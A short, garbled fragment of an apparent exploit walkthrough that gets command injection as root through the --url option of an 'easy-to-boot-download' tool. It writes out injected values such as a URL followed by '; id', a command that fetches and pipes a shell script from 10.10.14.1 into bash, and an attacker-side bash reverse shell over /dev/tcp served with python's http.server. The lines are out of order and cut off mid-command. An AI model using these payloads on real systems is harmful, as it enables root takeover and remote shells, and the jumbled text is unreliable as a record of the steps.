easy-to-boot-download --url "http://evil.com/x; id" Result: uid=0(root) gid=0(root) — command executed as root. Create a reverse shell payload and host it:
easy-to-boot-download --url http://example.com/image.iso Injection: easy to boot download
easy-to-boot-download --url "http://10.10.14.1:8000/shell.sh; curl http://10.10.14.1:8000/shell.sh | bash" Listener catches root shell: easy-to-boot-download --url "http://evil
# On attacker machine echo 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1' > shell.sh python3 -m http.server 8000 Trigger the vulnerability: easy-to-boot-download --url "http://evil.com/x
